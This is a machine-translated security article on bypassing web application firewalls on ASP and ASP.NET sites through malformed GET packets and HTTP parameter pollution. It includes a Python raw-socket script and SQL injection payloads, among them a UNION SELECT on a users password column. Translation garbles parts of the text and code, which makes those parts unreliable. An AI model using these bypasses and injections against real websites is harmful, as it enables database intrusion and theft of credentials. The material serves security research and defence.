Several ways to bypass WAF: http://www.80sec.com/%e6%b5%85%e8%b0%88%e7%bb%95%e8%bf%87waf%e7%9a%84%e6%95%b0%e7%a7%8d%e6%96%b9%e6%b3%95.html
Email: rayh4c # 80sec.com
From: http://www.80sec.com /? P = 244
0 × 00 Preface
At the beginning of, an SQL group injection attack was launched. Hackers swept away the ASP, Asp.net, and MSSQL websites around the world. Because MSSQL supports multi-statement injection, hackers can use a combined SQL statement to automatically tamper with the field content of the entire database and perform webpage Trojan attacks without any difference on the website.
The Internet is updated and iterated quickly, but many organizations that do not have the ability to develop are building websites through outsourcing. Once the website program is launched, it is no longer maintained. Many programs have various vulnerabilities that cannot be repaired, as a result, WAF has a market. Today, WAF, a software that has a low threshold and can solve the most problems, is aimed at iis/Apache. It is usually done by one extension of a module, of course, there are also millions of hardware WAF resources. However, if WAF interception rules are prone to vulnerabilities, these millions of hardware will be a pile of scrap iron. Can WAF solve all Web security problems? Therefore, this article mainly analyzes some rare vulnerabilities that can bypass WAF for security reference.
0 × 01 packet Parsing Vulnerability of the request object.
A packet parsing vulnerability exists in the request objects of ASP and Asp.net. The request object is too loose in the get and post packages. In one sentence, it is the request object. It cannot be clearly divided by get and post, if you have a little web development experience, you should know that the request receives get, post, and cookie, that is, the data transmitted by GPC, but ASP and. the built-in request object of the net Library does not comply with the RFC standard at all. We can perform a test below:
Save the following two sections of code as 1. asp and 1. aspx respectively.
Use the ASP request object to receive t parameter values
Response. Write "Request:" & request ("T ")
Use Asp.net's request object to receive t parameter values
<% @ Page Language = "C #" %>
String test = request ["T"];
Response. Write ("request:" + test );
Use the following Python script to call socket to send the original http package
#! /Usr/bin/ENV Python
Host = '1970. 168.239.129 ′
Path = '/1. asp'
Port = 80
S = socket. socket (socket. af_inet, socket. sock_stream)
S. Connect (host, Port ))
S. setTimeout (8)
Exploit_packet = "T = '/**/or/**/1 = 1 -"
Exploit_packet + = "\ r \ n" * 8
Packet_length = Len (exploit_packet)
Packet = 'get' + path + 'HTTP/1.1 \ r \ N'
Packet + = 'host: '+ host +' \ r \ N'
Packet + = 'content-length: % s \ r \ n' % packet_length
Packet + = 'content-type: Application/X-WWW-form-urlencoded \ r \ N'
Packet + = '\ r \ N'
Packet = packet + exploit_packet
S. Send (packet)
Buf = S. Recv (1000)
If Buf: Print Buf [Buf. rfind ("\ r \ n"):]
S. Close ()
The original package we sent is:
GET/1. asp HTTP/1.1
T = '/**/or/**/1 = 1-
The result is as follows:
Request: '/**/or/**/1 = 1-
Change the path of the python test script to the/1. aspx test page and return the same result.
We can see that this is a malformed http get request package, the mysteries of this package are T = '/**/or/**/1 = 1-the eight carriage return headers after the parameter line feed and Content-Length headers, the structure of the package is similar to a post package, and the request method is get. Finally, the request object of ASP and Asp.net successfully parses the malformed package and extracts the data.
Therefore, if the WAF does not process the HTTP packet content and follows the conventional logic to process the get and post logic, the malformed package will destroy WAF's basic defense.
0 × 02 forgotten complex parameter attack.
You should remember the HTTP parameter pollution attack in. Check  documentation to find ASP/IIS and ASP. net/IIS scenario has a complex parameter feature. This article will take advantage of this feature for short as a complex parameter attack, with the example in 0x01 for a simple test:
Use the GET request to pass in two T Parameters
Get http: // 192.168.239.129/1.asp? T = 1 & t = 2
Request: 1, 2
The request objects of ASP and Asp.net receive two parameters and are separated by commas. Therefore, the SQL injection method for complex parameters in the  document is derived:
SQL = "select key from table where id =" + request. querystring ("ID ")
This request is successfully completed MED using the HPP technique:
/? Id = 1/**/Union/* & id = */select/* & id = */pwd/* & id = */from/* & id = */users
The SQL request becomes:
Select key from table where id = 1/**/Union/*, */select/*, */pwd/*, */from/*, */userslavakumarkuppan,
We can see that SQL Injection statements in get parameters can be separated by clever use of annotators combined with complex parameters. Will WAF fail to match the interception rules if it is too simple to process get parameters?
0 × 03 advanced complex parameter attack.
ASP. NET Request object has a Params attribute, Asp.. Net programmers use request. params ["XXX"] transmits data. For details, refer to  Microsoft msdn documentation. We can understand the features of the Params attribute. This attribute receives a set of get, post, and cookie values, here we can modify the example in 0 × 01 to test it:
Use Asp.net's request. Params method to receive t parameter values
<% @ Page Language = "C #" %>
String test = request. Params ["T"];
Response. Write ("request:" + test );
Send a post packet, get, post, and cookie with different t Parameters
Post http: // 192.168.239.129/1. aspx? T = 1 HTTP/1.1
COOKIE: t = 2
T = 3
Request: 1, 3, 2
Finally, the request. the data received by the Params method is integrated in the GPC order. The students here think that the 0 × 02 re-argument attack should be filled in like the limit argument. We can split the SQL attack statement into get, post, Cookie three variables for combined attacks. Think about whether WAF is able to defend against this advanced complex parameter attack?
0 × 04
It is impossible for WAF to solve all security problems. The idea of this article is based on the differences between the number of HTTP packets processed by WAF and the number of HTTP packets processed by the server. The Internet is constantly updated and iterated, and the difference exists. Similar vulnerabilities also exist.
This article mentions three ways to bypass waf. The first is that my originality belongs to the 0-day state, and the second is to refer to the existing complex parameter attacks, among them, the third advanced complex parameter attack was proposed by safe3. This article also discussed the WAF bug with safe3, so I would like to thank safe3.
In addition, please do not use the content in this article for illegal channels. It is for the reference of security personnel only. Thank you.